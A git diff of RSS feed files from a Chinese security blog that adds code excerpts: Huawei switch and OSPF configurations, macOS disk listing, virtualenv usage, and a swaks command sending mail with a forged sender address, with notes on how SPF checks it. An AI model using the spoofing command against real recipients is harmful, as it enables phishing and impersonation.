+</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int e0/0/20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]port default vlan 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]int e0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port default vlan 30 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]vlan 30 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]mux-vlan +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]subordinate group 10 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]subordinate separate 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/1 to e0/0/22 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;save +</span></span></code></pre></td></tr></table> +</div> +</div><p>将把当前的配置保存到存储设备中。</p>华为交换机Telnet远程登录https://payloads.online/archivers/2015-11-20/1/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/1/<p>本文记录一下华为交换机Telnet远程登录的简单配置</p> <p> <figure> <img src="https://images.payloads.online/d05697e6-4f5e-11ec-a083-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -236,7 +413,32 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></pr华为交换机VLAN聚合实例https://payloads.online/archivers/2015-11-20/4/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/4/<p>本文记录一下华为交换机VLAN聚合实例配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]user-interface vty 0 4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-ui-vty0-4]authentication-mode aaa +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-ui-vty0-4]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin password simple?123456 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin privilege? level 3 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin service-type telnet +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int vlan 1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Vlanif1]ip address 192.168.1.1 24 +</span></span></code></pre></td></tr></table> +</div> +</div><p>路由器:</p>华为交换机VLAN聚合实例https://payloads.online/archivers/2015-11-20/4/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/4/<p>本文记录一下华为交换机VLAN聚合实例配置</p> <ul> <li>创建VLAN聚合的VLAN</li> <li>设置VLAN聚合所需要的trunk链路</li> @@ -278,7 +480,23 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 -</span></code></pr华为路由OSPF被动接口配置https://payloads.online/archivers/2015-11-20/3/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/3/<p>本文记录一下华为路由OSPF被动接口配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int g0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-GigabitEthernet0/0/1]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-GigabitEthernet0/0/1]port trunk allow-pass vlan 10 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/1 e0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port trunk allow-pass vlan 10 20 +</span></span></code></pre></td></tr></table> +</div> +</div><p>注:Trunk链路不需要allow Vlan聚合的vlan</p>华为路由OSPF被动接口配置https://payloads.online/archivers/2015-11-20/3/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/3/<p>本文记录一下华为路由OSPF被动接口配置</p> <p>拓扑图:</p> <p> <figure> @@ -325,4 +543,43 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 -</span></code></pr \ No newline at end of file +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Enter system view, return user view with Ctrl+Z. +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]sysname AR1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1]int G0/0/0 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/0]ip add 192.168.4.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/0]int G0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/1]ip add 192.168.6.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/1]int G0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/2]ip add 192.168.5.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/2]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1]ospf +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1]area 0 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.4.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.5.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.6.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1]silent-interface G0/0/0 +</span></span></code></pre></td></tr></table> +</div> +</div><p>AR2配置命令:</p> \ No newline at end of file diff --git "a/categories/\351\253\230\346\225\210/index.xml" "b/categories/\351\253\230\346\225\210/index.xml" index 7d00c12..d65f012 100644 --- "a/categories/\351\253\230\346\225\210/index.xml" +++ "b/categories/\351\253\230\346\225\210/index.xml" @@ -20,7 +20,34 @@ <p>这个是从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。</p> <p>地址:https://support.smtp2go.com/hc/en-gb</p> <p>(邮箱注册)普通账户可以免费发1000封邮件。</p> -<p>分配好账户后,可以通过swaks进行登录发送邮件:</p>解决Mac OS挂载NTFS格式硬盘无法读写https://payloads.online/archivers/2018-10-30/1/Tue, 30 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-30/1/<h2 id="查看分区">查看分区</h2> +<p>分配好账户后,可以通过swaks进行登录发送邮件:</p> +<p> + <img src="https://images.payloads.online/750c7a8a-4f5f-11ec-889d-00d861bf4abb.png" alt="2019-05-09-14-28-50"> + +</p> +<h2 id="0x02-swaks发送邮件">0x02 swaks发送邮件</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p <span style="color:#ae81ff">2525</span> -au &lt;USER&gt; -ap &lt;PASS&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>但是上面这个邮件无法绕过SPF。</p> +<h2 id="0x03-spf验证原理">0x03 SPF验证原理</h2> +<p>如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。</p> +<p>gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。</p> +<p>而上面这条命令:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p <span style="color:#ae81ff">2525</span> -au &lt;USER&gt; -ap &lt;PASS&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。</p>解决Mac OS挂载NTFS格式硬盘无法读写https://payloads.online/archivers/2018-10-30/1/Tue, 30 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-30/1/<h2 id="查看分区">查看分区</h2> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 @@ -44,7 +71,32 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></prPython virtualenvhttps://payloads.online/archivers/2018-08-16/1/Thu, 16 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-16/1/<h2 id="0x00-virtualenv-简介">0x00 virtualenv 简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/&gt; diskutil list +</span></span><span style="display:flex;"><span>/dev/disk0 <span style="color:#f92672">(</span>internal<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: GUID_partition_scheme 500.3 GB disk0 +</span></span><span style="display:flex;"><span> 1: EFI EFI 314.6 MB disk0s1 +</span></span><span style="display:flex;"><span> 2: Apple_APFS Container disk1 500.0 GB disk0s2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>/dev/disk1 <span style="color:#f92672">(</span>synthesized<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: APFS Container Scheme - +500.0 GB disk1 +</span></span><span style="display:flex;"><span> Physical Store disk0s2 +</span></span><span style="display:flex;"><span> 1: APFS Volume Macintosh HD 209.0 GB disk1s1 +</span></span><span style="display:flex;"><span> 2: APFS Volume Preboot 25.1 MB disk1s2 +</span></span><span style="display:flex;"><span> 3: APFS Volume Recovery 515.8 MB disk1s3 +</span></span><span style="display:flex;"><span> 4: APFS Volume VM 3.2 GB disk1s4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>/dev/disk2 <span style="color:#f92672">(</span>external, physical<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: disk *2.0 TB disk2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>那个<code>/dev/disk2</code>是我的硬盘</p>Python virtualenvhttps://payloads.online/archivers/2018-08-16/1/Thu, 16 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-16/1/<h2 id="0x00-virtualenv-简介">0x00 virtualenv 简介</h2> <p>virtualenv 用来建立一个虚拟的python环境,为了解决Python各种库的冲突问题。</p> <h2 id="0x01-virtualenv-安装">0x01 virtualenv 安装</h2> <h3 id="通用安装方法">通用安装方法</h3> @@ -65,4 +117,112 @@ <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>apt-get upgrade <span style="color:#f92672">&amp;&amp;</span> apt-get update </span></span><span style="display:flex;"><span>apt-get install virtualenv -</span></span></code></pr \ No newline at end of file +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-virtualenv-使用">0x02 virtualenv 使用</h2> +<h3 id="帮助信息">帮助信息</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ virtualenv -h +</span></span><span style="display:flex;"><span>Usage: virtualenv <span style="color:#f92672">[</span>OPTIONS<span style="color:#f92672">]</span> DEST_DIR +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Options: +</span></span><span style="display:flex;"><span> --version 显示程序的版本号并退出 +</span></span><span style="display:flex;"><span> -h, --help 显示程序的帮助信息并退出 +</span></span><span style="display:flex;"><span> -v, --verbose 增强输出 +</span></span><span style="display:flex;"><span> -q, --quiet 减少输出 +</span></span><span style="display:flex;"><span> -p PYTHON_EXE, --python<span style="color:#f92672">=</span>PYTHON_EXE Python的可执行路径<span style="color:#f92672">(</span>/usr/bin/python<span style="color:#f92672">)</span> +</span></span><span style="display:flex;"><span> --clear 清除安装的库 +</span></span><span style="display:flex;"><span> --no-site-packages 给出一个干净的环境,不包含系统已安装的库 +</span></span><span style="display:flex;"><span> --system-site-packages 包含系统库 +</span></span><span style="display:flex;"><span> --always-copy 始终复制文件而不是符号链接。 +</span></span><span style="display:flex;"><span> --relocatable 使一个现有的virtualenv环境这会修复脚本并生成所有.pth文件 +</span></span><span style="display:flex;"><span> --no-setuptools 不要在新的virtualenv中安装setuptools +</span></span><span style="display:flex;"><span> --no-pip 不要在新的virtualenv中安装pip +</span></span><span style="display:flex;"><span> --no-wheel 不要在新的virtualenv中安装wheel +</span></span><span style="display:flex;"><span> --extra-search-dir<span style="color:#f92672">=</span>DIR 在DIR中寻找setuptools/pip +</span></span><span style="display:flex;"><span> --download 从PyPI下载预安装的软件包 +</span></span><span style="display:flex;"><span> --no-download, --never-download 不要从PyPI下载预安装的软件包 +</span></span><span style="display:flex;"><span> --prompt<span style="color:#f92672">=</span>PROMPT 为此环境提供备用提示前缀 +</span></span><span style="display:flex;"><span> --setuptools 已废弃 +</span></span><span style="display:flex;"><span> --distribute 已废弃 +</span></span><span style="display:flex;"><span> --unzip-setuptools 已废弃 +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="查看当前版本">查看当前版本</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ virtualenv --version +</span></span><span style="display:flex;"><span>16.0.0 +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="配置一个新的环境">配置一个新的环境</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ which python <span style="color:#75715e"># 查看Python路径</span> +</span></span><span style="display:flex;"><span>/usr/bin/python +</span></span><span style="display:flex;"><span>~$ virtualenv --no-site-packages -p /usr/bin/python MyNewEnv <span style="color:#75715e"># 创建环境目录</span> +</span></span><span style="display:flex;"><span>Running virtualenv with interpreter /usr/bin/python +</span></span><span style="display:flex;"><span>New python executable in /home/liyingzhe/MyNewEnv/bin/python +</span></span><span style="display:flex;"><span>Installing setuptools, pip, wheel...done. +</span></span><span style="display:flex;"><span>~$ ls MyNewEnv/ <span style="color:#75715e"># 查看环境目录</span> +</span></span><span style="display:flex;"><span>bin include lib local pip-selfcheck.json +</span></span><span style="display:flex;"><span>~$ source MyNewEnv/bin/activate <span style="color:#75715e"># 将环境生效</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>MyNewEnv<span style="color:#f92672">)</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>MyNewEnv<span style="color:#f92672">)</span> ~$ pip list <span style="color:#75715e"># 查看已安装的库</span> +</span></span><span style="display:flex;"><span>Package Version +</span></span><span style="display:flex;"><span>---------- ------- +</span></span><span style="display:flex;"><span>pip 18.0 +</span></span><span style="display:flex;"><span>setuptools 40.0.0 +</span></span><span style="display:flex;"><span>wheel 0.31.1 +</span></span></code></pre></td></tr></table> 